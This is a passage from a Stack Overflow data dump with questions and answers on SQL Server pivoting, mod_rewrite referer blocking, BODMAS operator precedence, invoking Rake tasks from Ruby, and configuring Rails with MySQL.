href=\"http://www.craigsmullins.com/ssu_0899.htm\" rel=\"nofollow noreferrer\">the Google result I found</a></p>\n\n<p>FURTHER EDIT: I should also point out that this isn't an answer to your question but an alternative solution to your actual problem.</p>\n" }, { "answer_id": 3533, "author": "Shawn", "author_id": 26, "author_profile": "https://Stackoverflow.com/users/26", "pm_score": 1, "selected": false, "text": "<p>I had to do this for a project before. One of the major difficulties I had was explaining what I was trying to do to other people. I spent a ton of time trying to do this in SQL, but I found the pivot function woefully inadequate. I do not remember the exact reason why it was, but it is too simplistic for most applications, and it isn't full implemented in MS SQL 2000. I wound up writing a pivot function in .NET. I'll post it here in hopes it helps someone, someday. </p>\n\n<pre><code> ''' &lt;summary&gt;\n ''' Pivots a data table from rows to columns\n ''' &lt;/summary&gt;\n ''' &lt;param name=\"dtOriginal\"&gt;The data table to be transformed&lt;/param&gt;\n ''' &lt;param name=\"strKeyColumn\"&gt;The name of the column that identifies each row&lt;/param&gt;\n ''' &lt;param name=\"strNameColumn\"&gt;The name of the column with the values to be transformed from rows to columns&lt;/param&gt;\n ''' &lt;param name=\"strValueColumn\"&gt;The name of the column with the values to pivot into the new columns&lt;/param&gt;\n ''' &lt;returns&gt;The transformed data table&lt;/returns&gt;\n ''' &lt;remarks&gt;&lt;/remarks&gt;\n Public Shared Function PivotTable(ByVal dtOriginal As DataTable, ByVal strKeyColumn As String, ByVal strNameColumn As String, ByVal strValueColumn As String) As DataTable\n Dim dtReturn As DataTable\n Dim drReturn As DataRow\n Dim strLastKey As String = String.Empty\n Dim blnFirstRow As Boolean = True\n\n ' copy the original data table and remove the name and value columns\n dtReturn = dtOriginal.Clone\n dtReturn.Columns.Remove(strNameColumn)\n dtReturn.Columns.Remove(strValueColumn)\n\n ' create a new row for the new data table\n drReturn = dtReturn.NewRow\n\n ' Fill the new data table with data from the original table\n For Each drOriginal As DataRow In dtOriginal.Rows\n\n ' Determine if a new row needs to be started\n If drOriginal(strKeyColumn).ToString &lt;&gt; strLastKey Then\n\n ' If this is not the first row, the previous row needs to be added to the new data table\n If Not blnFirstRow Then\n dtReturn.Rows.Add(drReturn)\n End If\n\n blnFirstRow = False\n drReturn = dtReturn.NewRow\n\n ' Add all non-pivot column values to the new row\n For Each dcOriginal As DataColumn In dtOriginal.Columns\n If dcOriginal.ColumnName &lt;&gt; strNameColumn AndAlso dcOriginal.ColumnName &lt;&gt; strValueColumn Then\n drReturn(dcOriginal.ColumnName.ToLower) = drOriginal(dcOriginal.ColumnName.ToLower)\n End If\n Next\n strLastKey = drOriginal(strKeyColumn).ToString\n End If\n\n ' Add new columns if needed and then assign the pivot values to the proper column\n If Not dtReturn.Columns.Contains(drOriginal(strNameColumn).ToString) Then\n dtReturn.Columns.Add(drOriginal(strNameColumn).ToString, drOriginal(strValueColumn).GetType)\n End If\n drReturn(drOriginal(strNameColumn).ToString) = drOriginal(strValueColumn)\n Next\n\n ' Add the final row to the new data table\n dtReturn.Rows.Add(drReturn)\n\n ' Return the transformed data table\n Return dtReturn\n End Function\n</code></pre>\n" }, { "answer_id": 142124, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<pre><code>SELECT IDColumn, \n NumberOfColumnsGreaterThanThree = (CASE WHEN Column1 &gt;= 3 THEN 1 ELSE 0 END) + \n (CASE WHEN Column2 &gt;= 3 THEN 1 ELSE 0 END) + \n (Case WHEN Column3 &gt;= 3 THEN 1 ELSE 0 END) \nFROM TableA;\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3470", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
I have a very simple problem which requires a very quick and simple solution in SQL Server 2005. I have a table with x Columns. I want to be able to select one row from the table and then transform the columns into rows. ``` TableA Column1, Column2, Column3 ``` SQL Statement to ruturn ``` ResultA Value of Column1 Value of Column2 Value of Column3 ``` --- **@Kevin:** I've had a google search on the topic but alot of the example where overly complex for my example, **are you able to help further?** @Mario: The solution I am creating has 10 columns which stores the values 0 to 6 and I must work out how many columns have the value 3 or more. So I thought about creating a query to turn that into rows and then using the generated table in a subquery to say count the number of rows with Column >= 3
You should take a look at the UNPIVOT clause. **Update1**: GateKiller, strangely enough I read an article (about something unrelated) about it this morning and I'm trying to jog my memory where I saw it again, had some decent looking examples too. It'll come back to me I'm sure. **Update2**: Found it: <http://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx>
3,486
<p>I have control over the HttpServer but not over the ApplicationServer or the Java Applications sitting there but I need to block direct access to certain pages on those applications. Precisely, I don't want users automating access to forms issuing direct GET/POST HTTP requests to the appropriate servlet. </p> <p>So, I decided to block users based on the value of <code>HTTP_REFERER</code>. After all, if the user is navigating inside the site, it will have an appropriate <code>HTTP_REFERER</code>. Well, that was what I thought. </p> <p>I implemented a rewrite rule in the .htaccess file that says: </p> <pre><code>RewriteEngine on # Options +FollowSymlinks RewriteCond %{HTTP_REFERER} !^http://mywebaddress(.cl)?/.* [NC] RewriteRule (servlet1|servlet2)/.+\?.+ - [F] </code></pre> <p>I expected to forbid access to users that didn't navigate the site but issue direct GET requests to the "servlet1" or "servlet2" servlets using querystrings. But my expectations ended abruptly because the regular expression <code>(servlet1|servlet2)/.+\?.+</code> didn't worked at all. </p> <p>I was really disappointed when I changed that expression to <code>(servlet1|servlet2)/.+</code> and it worked so well that my users were blocked no matter if they navigated the site or not. </p> <p>So, my question is: How do I can accomplish this thing of not allowing "robots" with direct access to certain pages if I have no access/privileges/time to modify the application?</p>
[ { "answer_id": 3502, "author": "Rytmis", "author_id": 266, "author_profile": "https://Stackoverflow.com/users/266", "pm_score": 1, "selected": false, "text": "<p>I don't have a solution, but I'm betting that relying on the referrer will never work because user-agents are free to not send it at all or spoof it to something that will let them in.</p>\n" }, { "answer_id": 3514, "author": "Kev", "author_id": 419, "author_profile": "https://Stackoverflow.com/users/419", "pm_score": 0, "selected": false, "text": "<p>I'm guessing you're trying to prevent screen scraping?</p>\n\n<p>In my honest opinion it's a tough one to solve and trying to fix by checking the value of HTTP_REFERER is just a sticking plaster. Anyone going to the bother of automating submissions is going to be savvy enough to send the correct referer from their 'automaton'.</p>\n\n<p>You could try rate limiting but without actually modifying the app to force some kind of is-this-a-human validation (a CAPTCHA) at some point then you're going to find this hard to prevent.</p>\n" }, { "answer_id": 3517, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 1, "selected": false, "text": "<p>You can't tell apart users and malicious scripts by their http request. But you can analyze which users are requesting too many pages in too short a time, and block their ip-addresses.</p>\n" }, { "answer_id": 3519, "author": "Chris Benard", "author_id": 448, "author_profile": "https://Stackoverflow.com/users/448", "pm_score": 1, "selected": false, "text": "<p>Javascript is another helpful tool to prevent (or at least delay) screen scraping. Most automated scraping tools don't have a Javascript interpreter, so you can do things like setting hidden fields, etc.</p>\n\n<p>Edit: Something along the lines of <a href=\"http://haacked.com/archive/2006/09/26/Lightweight_Invisible_CAPTCHA_Validator_Control.aspx\" rel=\"nofollow noreferrer\">this Phil Haack article</a>.</p>\n" }, { "answer_id": 3522, "author": "Dan Herbert", "author_id": 392, "author_profile": "https://Stackoverflow.com/users/392", "pm_score": 1, "selected": false, "text": "<p>Using a referrer is very unreliable as a method of verification. As other people have mentioned, it is easily spoofed. Your best solution is to modify the application (if you can)</p>\n\n<p>You could use a CAPTCHA, or set some sort of cookie or session cookie that keeps track of what page the user last visited (a session would be harder to spoof) and keep track of page view history, and only allow users who have browsed the pages required to get to the page you want to block.</p>\n\n<p>This obviously requires you to have access to the application in question, however it is the most foolproof way (not completely, but \"good enough\" in my opinion.)</p>\n" }, { "answer_id": 3548, "author": "Seibar", "author_id": 357, "author_profile": "https://Stackoverflow.com/users/357", "pm_score": 0, "selected": false, "text": "<p>If you're trying to prevent search engine bots from accessing certain pages, make sure you're using a properly formatted <a href=\"http://www.robotstxt.org/\" rel=\"nofollow noreferrer\">robots.txt</a> file.</p>\n\n<p>Using HTTP_REFERER is unreliable because it is <a href=\"http://en.wikipedia.org/wiki/Referer_spoofing\" rel=\"nofollow noreferrer\">easily faked</a>.</p>\n\n<p>Another option is to check the user agent string for known bots (this may require code modification).</p>\n" }, { "answer_id": 3593, "author": "ggasp", "author_id": 527, "author_profile": "https://Stackoverflow.com/users/527", "pm_score": 0, "selected": false, "text": "<p>To make the things a little more clear: </p>\n\n<ol>\n<li><p>Yes, I know that using HTTP_REFERER is completely unreliable and somewhat childish but I'm pretty sure that the people that learned (from me maybe?) to make automations with Excel VBA will not know how to subvert a HTTP_REFERER within the time span to have the final solution. </p></li>\n<li><p>I don't have access/privilege to modify the application code. Politics. Do you believe that? So, I must to wait until the rights holder make the changes I requested. </p></li>\n<li><p>From previous experiences, I know that the requested changes will take two month to get in Production. No, tossing them Agile Methodologies Books in their heads didn't improve anything. </p></li>\n<li><p>This is an intranet app. So I don't have a lot of youngsters trying to undermine my prestige. But I'm young enough as to try to undermine the prestige of \"a very fancy global consultancy services that comes from India\" but where, curiously, there are not a single indian working there. </p></li>\n</ol>\n\n<p>So far, the best answer comes from \"Michel de Mare\": block users based on their IPs. Well, that I did yesterday. Today I wanted to make something more generic because I have a lot of kangaroo users (jumping from an Ip address to another) because they use VPN or DHCP.</p>\n" }, { "answer_id": 3827, "author": "jj33", "author_id": 430, "author_profile": "https://Stackoverflow.com/users/430", "pm_score": 3, "selected": true, "text": "<p>I'm not sure if I can solve this in one go, but we can go back and forth as necessary.</p>\n\n<p>First, I want to repeat what I think you are saying and make sure I'm clear. You want to disallow requests to servlet1 and servlet2 is the request doesn't have the proper referer and it <strong>does</strong> have a query string? I'm not sure I understand (servlet1|servlet2)/.+\\?.+ because it looks like you are requiring a file under servlet1 and 2. I think maybe you are combining PATH_INFO (before the \"?\") with a GET query string (after the \"?\"). It appears that the PATH_INFO part will work but the GET query test will not. I made a quick test on my server using script1.cgi and script2.cgi and the following rules worked to accomplish what you are asking for. They are obviously edited a little to match my environment:</p>\n\n<pre><code>RewriteCond %{HTTP_REFERER} !^http://(www.)?example.(com|org) [NC]\nRewriteCond %{QUERY_STRING} ^.+$\nRewriteRule ^(script1|script2)\\.cgi - [F]\n</code></pre>\n\n<p>The above caught all wrong-referer requests to script1.cgi and script2.cgi that tried to submit data using a query string. However, you can also submit data using a path_info and by posting data. I used this form to protect against any of the three methods being used with incorrect referer:</p>\n\n<pre><code>RewriteCond %{HTTP_REFERER} !^http://(www.)?example.(com|org) [NC]\nRewriteCond %{QUERY_STRING} ^.+$ [OR]\nRewriteCond %{REQUEST_METHOD} ^POST$ [OR]\nRewriteCond %{PATH_INFO} ^.+$\nRewriteRule ^(script1|script2)\\.cgi - [F]\n</code></pre>\n\n<p>Based on the example you were trying to get working, I think this is what you want:</p>\n\n<pre><code>RewriteCond %{HTTP_REFERER} !^http://mywebaddress(.cl)?/.* [NC]\nRewriteCond %{QUERY_STRING} ^.+$ [OR]\nRewriteCond %{REQUEST_METHOD} ^POST$ [OR]\nRewriteCond %{PATH_INFO} ^.+$\nRewriteRule (servlet1|servlet2)\\b - [F]\n</code></pre>\n\n<p>Hopefully this at least gets you closer to your goal. Please let us know how it works, I'm interested in your problem.</p>\n\n<p>(BTW, I agree that referer blocking is poor security, but I also understand that relaity forces imperfect and partial solutions sometimes, which you seem to already acknowledge.)</p>\n" }, { "answer_id": 17891, "author": "Ian Oxley", "author_id": 1904, "author_profile": "https://Stackoverflow.com/users/1904", "pm_score": 0, "selected": false, "text": "<p>You might be able to use an anti-CSRF token to achieve what you're after. </p>\n\n<p>This article explains it in more detail: <a href=\"http://shiflett.org/articles/cross-site-request-forgeries\" rel=\"nofollow noreferrer\">Cross-Site Request Forgeries</a></p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3486", "https://Stackoverflow.com", "https://Stackoverflow.com/users/527/" ]
I have control over the HttpServer but not over the ApplicationServer or the Java Applications sitting there but I need to block direct access to certain pages on those applications. Precisely, I don't want users automating access to forms issuing direct GET/POST HTTP requests to the appropriate servlet. So, I decided to block users based on the value of `HTTP_REFERER`. After all, if the user is navigating inside the site, it will have an appropriate `HTTP_REFERER`. Well, that was what I thought. I implemented a rewrite rule in the .htaccess file that says: ``` RewriteEngine on # Options +FollowSymlinks RewriteCond %{HTTP_REFERER} !^http://mywebaddress(.cl)?/.* [NC] RewriteRule (servlet1|servlet2)/.+\?.+ - [F] ``` I expected to forbid access to users that didn't navigate the site but issue direct GET requests to the "servlet1" or "servlet2" servlets using querystrings. But my expectations ended abruptly because the regular expression `(servlet1|servlet2)/.+\?.+` didn't worked at all. I was really disappointed when I changed that expression to `(servlet1|servlet2)/.+` and it worked so well that my users were blocked no matter if they navigated the site or not. So, my question is: How do I can accomplish this thing of not allowing "robots" with direct access to certain pages if I have no access/privileges/time to modify the application?
I'm not sure if I can solve this in one go, but we can go back and forth as necessary. First, I want to repeat what I think you are saying and make sure I'm clear. You want to disallow requests to servlet1 and servlet2 is the request doesn't have the proper referer and it **does** have a query string? I'm not sure I understand (servlet1|servlet2)/.+\?.+ because it looks like you are requiring a file under servlet1 and 2. I think maybe you are combining PATH\_INFO (before the "?") with a GET query string (after the "?"). It appears that the PATH\_INFO part will work but the GET query test will not. I made a quick test on my server using script1.cgi and script2.cgi and the following rules worked to accomplish what you are asking for. They are obviously edited a little to match my environment: ``` RewriteCond %{HTTP_REFERER} !^http://(www.)?example.(com|org) [NC] RewriteCond %{QUERY_STRING} ^.+$ RewriteRule ^(script1|script2)\.cgi - [F] ``` The above caught all wrong-referer requests to script1.cgi and script2.cgi that tried to submit data using a query string. However, you can also submit data using a path\_info and by posting data. I used this form to protect against any of the three methods being used with incorrect referer: ``` RewriteCond %{HTTP_REFERER} !^http://(www.)?example.(com|org) [NC] RewriteCond %{QUERY_STRING} ^.+$ [OR] RewriteCond %{REQUEST_METHOD} ^POST$ [OR] RewriteCond %{PATH_INFO} ^.+$ RewriteRule ^(script1|script2)\.cgi - [F] ``` Based on the example you were trying to get working, I think this is what you want: ``` RewriteCond %{HTTP_REFERER} !^http://mywebaddress(.cl)?/.* [NC] RewriteCond %{QUERY_STRING} ^.+$ [OR] RewriteCond %{REQUEST_METHOD} ^POST$ [OR] RewriteCond %{PATH_INFO} ^.+$ RewriteRule (servlet1|servlet2)\b - [F] ``` Hopefully this at least gets you closer to your goal. Please let us know how it works, I'm interested in your problem. (BTW, I agree that referer blocking is poor security, but I also understand that relaity forces imperfect and partial solutions sometimes, which you seem to already acknowledge.)
3,510
<p>What is BODMAS and why is it useful in programming?</p>
[ { "answer_id": 3511, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 5, "selected": true, "text": "<p><a href=\"http://www.easymaths.com/What_on_earth_is_Bodmas.htm\" rel=\"noreferrer\">http://www.easymaths.com/What_on_earth_is_Bodmas.htm</a>:</p>\n\n<blockquote>\n <p>What do you think the answer to 2 + 3 x 5 is?</p>\n \n <p>Is it (2 + 3) x 5 = 5 x 5 = 25 ?</p>\n \n <p>or 2 + (3 x 5) = 2 + 15 = 17 ?</p>\n \n <p>BODMAS can come to the rescue and give us rules to follow so that we always get the right answer:</p>\n \n <p>(B)rackets (O)rder (D)ivision (M)ultiplication (A)ddition (S)ubtraction</p>\n \n <p>According to BODMAS, multiplication should always be done before addition, therefore 17 is actually the correct answer according to BODMAS and will also be the answer which your calculator will give if you type in 2 + 3 x 5 .</p>\n</blockquote>\n\n<p>Why it is useful in programming? No idea, but i assume it's because you can get rid of some brackets? I am a quite defensive programmer, so my lines can look like this:</p>\n\n<pre><code>result = (((i + 4) - (a + b)) * MAGIC_NUMBER) - ANOTHER_MAGIC_NUMBER;\n</code></pre>\n\n<p>with BODMAS you can make this a bit clearer:</p>\n\n<pre><code>result = (i + 4 - (a + b)) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER;\n</code></pre>\n\n<p>I think i'd still use the first variant - more brackets, but that way i do not have to learn yet another rule and i run into less risk of forgetting it and causing those weird hard to debug errors?</p>\n\n<p>Just guessing at that part though.</p>\n\n<p>Mike Stone EDIT: Fixed math as Gaius points out</p>\n" }, { "answer_id": 3515, "author": "Chris Benard", "author_id": 448, "author_profile": "https://Stackoverflow.com/users/448", "pm_score": 3, "selected": false, "text": "<p>Another version of this (in middle school) was \"Please Excuse My Dear Aunt Sally\".</p>\n\n<ul>\n<li>Parentheses</li>\n<li>Exponents</li>\n<li>Multiplication</li>\n<li>Division</li>\n<li>Addition</li>\n<li>Subtraction</li>\n</ul>\n\n<p>The mnemonic device was helpful in school, and still useful in programming today.</p>\n" }, { "answer_id": 3518, "author": "Patrick McElhaney", "author_id": 437, "author_profile": "https://Stackoverflow.com/users/437", "pm_score": 3, "selected": false, "text": "<p>Order of operations in an expression, such as:</p>\n\n<pre><code>foo * (bar + baz^2 / foo) \n</code></pre>\n\n<ul>\n<li><strong>B</strong>rackets first</li>\n<li><strong>O</strong>rders (ie Powers and Square Roots, etc.)</li>\n<li><strong>D</strong>ivision and <strong>M</strong>ultiplication (left-to-right)</li>\n<li><strong>A</strong>ddition and <strong>S</strong>ubtraction (left-to-right)</li>\n</ul>\n\n<p>source: <a href=\"http://www.mathsisfun.com/operation-order-bodmas.html\" rel=\"nofollow noreferrer\">http://www.mathsisfun.com/operation-order-bodmas.html</a></p>\n" }, { "answer_id": 3525, "author": "Wally Lawless", "author_id": 37, "author_profile": "https://Stackoverflow.com/users/37", "pm_score": 2, "selected": false, "text": "<p>When I learned this in grade school (in Canada) it was referred to as BEDMAS:</p>\n\n<p><strong>B</strong>rackets<br>\n<strong>E</strong>xponents<br>\n<strong>D</strong>ivision<br>\n<strong>M</strong>ultiplication<br>\n<strong>A</strong>ddition<br>\n<strong>S</strong>ubtraction</p>\n\n<p>Just for those from this part of the world...</p>\n" }, { "answer_id": 3527, "author": "ricree", "author_id": 121, "author_profile": "https://Stackoverflow.com/users/121", "pm_score": 1, "selected": false, "text": "<p>I'm not really sure how applicable to programming the old BODMAS mnemonic is anyways. There is no guarantee on order of operations between languages, and while many keep the standard operations in that order, not all do. And then there are some languages where order of operations isn't really all that meaningful (Lisp dialects, for example). In a way, you're probably better off for programming if you forget the standard order and either use parentheses for everything(eg (a*b) + c) or specifically learn the order for each language you work in.</p>\n" }, { "answer_id": 10557, "author": "James A. Rosen", "author_id": 1190, "author_profile": "https://Stackoverflow.com/users/1190", "pm_score": 3, "selected": false, "text": "<p>I don't have the power to edit <a href=\"https://stackoverflow.com/a/3511/50776\">@Michael Stum's answer</a>, but it's not quite correct. He reduces</p>\n\n<pre><code>(i + 4) - (a + b)\n</code></pre>\n\n<p>to</p>\n\n<pre><code>(i + 4 - a + b)\n</code></pre>\n\n<p>They are not equivalent. The best reduction I can get for the whole expression is</p>\n\n<pre><code>((i + 4) - (a + b)) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>(i + 4 - a - b) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER;\n</code></pre>\n" }, { "answer_id": 225202, "author": "Christopher Lightfoot", "author_id": 24525, "author_profile": "https://Stackoverflow.com/users/24525", "pm_score": 0, "selected": false, "text": "<p>I read somewhere that especially in C/C++ splitting your expressions into small statements was better for optimisation; so instead of writing hugely complex expressions in one line, you cache the parts into variables and do each one in steps, then build them up as you go along.</p>\n\n<p>The optimisation routines will use registers in places where you had variables so it shouldn't impact space but it can help the compiler a little.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3510", "https://Stackoverflow.com", "https://Stackoverflow.com/users/383/" ]
What is BODMAS and why is it useful in programming?
<http://www.easymaths.com/What_on_earth_is_Bodmas.htm>: > > What do you think the answer to 2 + 3 x 5 is? > > > Is it (2 + 3) x 5 = 5 x 5 = 25 ? > > > or 2 + (3 x 5) = 2 + 15 = 17 ? > > > BODMAS can come to the rescue and give us rules to follow so that we always get the right answer: > > > (B)rackets (O)rder (D)ivision (M)ultiplication (A)ddition (S)ubtraction > > > According to BODMAS, multiplication should always be done before addition, therefore 17 is actually the correct answer according to BODMAS and will also be the answer which your calculator will give if you type in 2 + 3 x 5 . > > > Why it is useful in programming? No idea, but i assume it's because you can get rid of some brackets? I am a quite defensive programmer, so my lines can look like this: ``` result = (((i + 4) - (a + b)) * MAGIC_NUMBER) - ANOTHER_MAGIC_NUMBER; ``` with BODMAS you can make this a bit clearer: ``` result = (i + 4 - (a + b)) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER; ``` I think i'd still use the first variant - more brackets, but that way i do not have to learn yet another rule and i run into less risk of forgetting it and causing those weird hard to debug errors? Just guessing at that part though. Mike Stone EDIT: Fixed math as Gaius points out
3,530
<p>I have a <code>Rakefile</code> with a Rake task that I would normally call from the command line:</p> <pre><code>rake blog:post Title </code></pre> <p>I'd like to write a Ruby script that calls that Rake task multiple times, but the only solution I see is shelling out using `` (backticks) or <code>system</code>.</p> <p>What's the right way to do this?</p>
[ { "answer_id": 3543, "author": "titanous", "author_id": 399, "author_profile": "https://Stackoverflow.com/users/399", "pm_score": 7, "selected": true, "text": "<p>from <a href=\"http://web.archive.org/web/20090412040557/http://timocracy.com:80/articles/2008/02/21/calling-invoking-rails-rake-tasks-from-within-ruby-for-testing-try-2\" rel=\"nofollow noreferrer\">timocracy.com</a>:</p>\n\n<pre><code>require 'rake'\n\ndef capture_stdout\n s = StringIO.new\n oldstdout = $stdout\n $stdout = s\n yield\n s.string\nensure\n $stdout = oldstdout\nend\n\nRake.application.rake_require 'metric_fetcher', ['../../lib/tasks']\nresults = capture_stdout {Rake.application['metric_fetcher'].invoke}\n</code></pre>\n" }, { "answer_id": 11520262, "author": "knut", "author_id": 676874, "author_profile": "https://Stackoverflow.com/users/676874", "pm_score": 4, "selected": false, "text": "<p>You can use <code>invoke</code> and <code>reenable</code> to execute the task a second time.</p>\n\n<p>Your example call <code>rake blog:post Title</code> seems to have a parameter. This parameter can be used as a parameter in <code>invoke</code>:</p>\n\n<p>Example:</p>\n\n<pre><code>require 'rake'\ntask 'mytask', :title do |tsk, args|\n p \"called #{tsk} (#{args[:title]})\"\nend\n\n\n\nRake.application['mytask'].invoke('one')\nRake.application['mytask'].reenable\nRake.application['mytask'].invoke('two')\n</code></pre>\n\n<p>Please replace <code>mytask</code> with <code>blog:post</code> and instead the task definition you can <code>require</code> your rakefile.</p>\n\n<p>This solution will write the result to stdout - but you did not mention, that you want to suppress output.</p>\n\n<hr>\n\n<p>Interesting experiment:</p>\n\n<p>You can call the <code>reenable</code> also inside the task definition. This allows a task to reenable himself.</p>\n\n<p>Example:</p>\n\n<pre><code>require 'rake'\ntask 'mytask', :title do |tsk, args|\n p \"called #{tsk} (#{args[:title]})\"\n tsk.reenable #&lt;-- HERE\nend\n\nRake.application['mytask'].invoke('one')\nRake.application['mytask'].invoke('two')\n</code></pre>\n\n<p>The result (tested with rake 10.4.2):</p>\n\n<pre><code>\"called mytask (one)\"\n\"called mytask (two)\"\n</code></pre>\n" }, { "answer_id": 15259172, "author": "Kelvin", "author_id": 498594, "author_profile": "https://Stackoverflow.com/users/498594", "pm_score": 5, "selected": false, "text": "<p>This works with Rake version 10.0.3:</p>\n\n<pre><code>require 'rake'\napp = Rake.application\napp.init\n# do this as many times as needed\napp.add_import 'some/other/file.rake'\n# this loads the Rakefile and other imports\napp.load_rakefile\n\napp['sometask'].invoke\n</code></pre>\n\n<p>As knut said, use <code>reenable</code> if you want to invoke multiple times. </p>\n" }, { "answer_id": 41839883, "author": "Dorian", "author_id": 407213, "author_profile": "https://Stackoverflow.com/users/407213", "pm_score": 2, "selected": false, "text": "<p>In a script with Rails loaded (e.g. <code>rails runner script.rb</code>)</p>\n\n<pre><code>def rake(*tasks)\n tasks.each do |task|\n Rake.application[task].tap(&amp;:invoke).tap(&amp;:reenable)\n end\nend\n\nrake('db:migrate', 'cache:clear', 'cache:warmup')\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3530", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1388162/" ]
I have a `Rakefile` with a Rake task that I would normally call from the command line: ``` rake blog:post Title ``` I'd like to write a Ruby script that calls that Rake task multiple times, but the only solution I see is shelling out using `` (backticks) or `system`. What's the right way to do this?
from [timocracy.com](http://web.archive.org/web/20090412040557/http://timocracy.com:80/articles/2008/02/21/calling-invoking-rails-rake-tasks-from-within-ruby-for-testing-try-2): ``` require 'rake' def capture_stdout s = StringIO.new oldstdout = $stdout $stdout = s yield s.string ensure $stdout = oldstdout end Rake.application.rake_require 'metric_fetcher', ['../../lib/tasks'] results = capture_stdout {Rake.application['metric_fetcher'].invoke} ```
3,567
<p>In SQL Server how do you query a database to bring back all the tables that have a field of a specific name?</p>
[ { "answer_id": 3574, "author": "Stu", "author_id": 414, "author_profile": "https://Stackoverflow.com/users/414", "pm_score": 0, "selected": false, "text": "<pre><code>SELECT Table_Name\nFROM Information_Schema.Columns\nWHERE Column_Name = 'YourFieldName'\n</code></pre>\n" }, { "answer_id": 3575, "author": "Curt Hagenlocher", "author_id": 533, "author_profile": "https://Stackoverflow.com/users/533", "pm_score": 0, "selected": false, "text": "<p>I'm old-school:</p>\n\n<pre><code>SELECT DISTINCT object_name(id)\nFROM syscolumns\nWHERE name = 'FIELDNAME'\n</code></pre>\n" }, { "answer_id": 3578, "author": "GateKiller", "author_id": 383, "author_profile": "https://Stackoverflow.com/users/383", "pm_score": 4, "selected": true, "text": "<p>The following query will bring back a unique list of tables where <code>Column_Name</code> is equal to the column you are looking for:</p>\n\n<pre><code>SELECT Table_Name\nFROM INFORMATION_SCHEMA.COLUMNS\nWHERE Column_Name = 'Desired_Column_Name'\nGROUP BY Table_Name\n</code></pre>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3567", "https://Stackoverflow.com", "https://Stackoverflow.com/users/230/" ]
In SQL Server how do you query a database to bring back all the tables that have a field of a specific name?
The following query will bring back a unique list of tables where `Column_Name` is equal to the column you are looking for: ``` SELECT Table_Name FROM INFORMATION_SCHEMA.COLUMNS WHERE Column_Name = 'Desired_Column_Name' GROUP BY Table_Name ```
3,585
<p>I want to create my Rails application with MySQL, because I like it so much. How can I do that in the latest version of Rails instead of the default SQLite?</p>
[ { "answer_id": 3586, "author": "Daniel Broekman", "author_id": 124, "author_profile": "https://Stackoverflow.com/users/124", "pm_score": 8, "selected": false, "text": "<p>Normally, you would create a new Rails app using</p>\n\n<pre><code>rails ProjectName\n</code></pre>\n\n<p>To use MySQL, use</p>\n\n<pre><code>rails new ProjectName -d mysql\n</code></pre>\n" }, { "answer_id": 3588, "author": "James Avery", "author_id": 537, "author_profile": "https://Stackoverflow.com/users/537", "pm_score": 3, "selected": false, "text": "<p>If you are creating a new rails application you can set the database using the -d switch like this:</p>\n\n<pre><code>rails -d mysql myapp\n</code></pre>\n\n<p>Its always easy to switch your database later though, and using sqlite really is easier if you are developing on a Mac.</p>\n" }, { "answer_id": 3601, "author": "Michiel de Mare", "author_id": 136, "author_profile": "https://Stackoverflow.com/users/136", "pm_score": 8, "selected": true, "text": "<p>If you already have a rails project, change the adapter in the <code>config/database.yml</code> file to <code>mysql</code> and make sure you specify a valid username and password, and optionally, a socket:</p>\n\n<pre><code>development:\n adapter: mysql2\n database: db_name_dev\n username: koploper\n password:\n host: localhost\n socket: /tmp/mysql.sock\n</code></pre>\n\n<p>Next, make sure you edit your Gemfile to include the mysql2 or activerecord-jdbcmysql-adapter (if using jruby).</p>\n" }, { "answer_id": 792421, "author": "huacnlee", "author_id": 83558, "author_profile": "https://Stackoverflow.com/users/83558", "pm_score": 4, "selected": false, "text": "<pre><code>rails -d mysql ProjectName\n</code></pre>\n" }, { "answer_id": 4438499, "author": "Robbie Done", "author_id": 541839, "author_profile": "https://Stackoverflow.com/users/541839", "pm_score": 6, "selected": false, "text": "<p>For Rails 3 you can use this command to create a new project using mysql:</p>\n\n<pre><code>$ rails new projectname -d mysql\n</code></pre>\n" }, { "answer_id": 6046965, "author": "andy318", "author_id": 204180, "author_profile": "https://Stackoverflow.com/users/204180", "pm_score": 3, "selected": false, "text": "<p>In Rails 3, you could do</p>\n\n<pre><code>$rails new projectname --database=mysql\n</code></pre>\n" }, { "answer_id": 6936105, "author": "Coder", "author_id": 876011, "author_profile": "https://Stackoverflow.com/users/876011", "pm_score": 4, "selected": false, "text": "<p>If you are using rails 3 or greater version</p>\n\n<pre><code>rails new your_project_name -d mysql\n</code></pre>\n\n<p>if you have earlier version </p>\n\n<pre><code>rails new -d mysql your_project_name\n</code></pre>\n\n<p>So before you create your project you need to find the rails version. that you can find by</p>\n\n<pre><code>rails -v\n</code></pre>\n" }, { "answer_id": 8183962, "author": "George Bellos", "author_id": 89724, "author_profile": "https://Stackoverflow.com/users/89724", "pm_score": 3, "selected": false, "text": "<pre><code>$ rails --help \n</code></pre>\n\n<p>is always your best friend</p>\n\n<p>usage:</p>\n\n<pre><code>$ rails new APP_PATH[options]\n</code></pre>\n\n<p>also note that options should be given after the application name</p>\n\n<p>rails and mysql</p>\n\n<pre><code>$ rails new project_name -d mysql\n</code></pre>\n\n<p>rails and postgresql</p>\n\n<pre><code>$ rails new project_name -d postgresql\n</code></pre>\n" }, { "answer_id": 9921786, "author": "Marthinus A. Botha", "author_id": 1300257, "author_profile": "https://Stackoverflow.com/users/1300257", "pm_score": 3, "selected": false, "text": "<p>You should use the switch -D instead of -d because it will generate two apps and mysql with no documentation folders.</p>\n\n<pre><code> rails -D mysql project_name (less than version 3)\n\n rails new project_name -D mysql (version 3 and up)\n</code></pre>\n\n<p>Alternatively you just use the <code>--database</code> option.</p>\n" }, { "answer_id": 11138212, "author": "vijay chouhan", 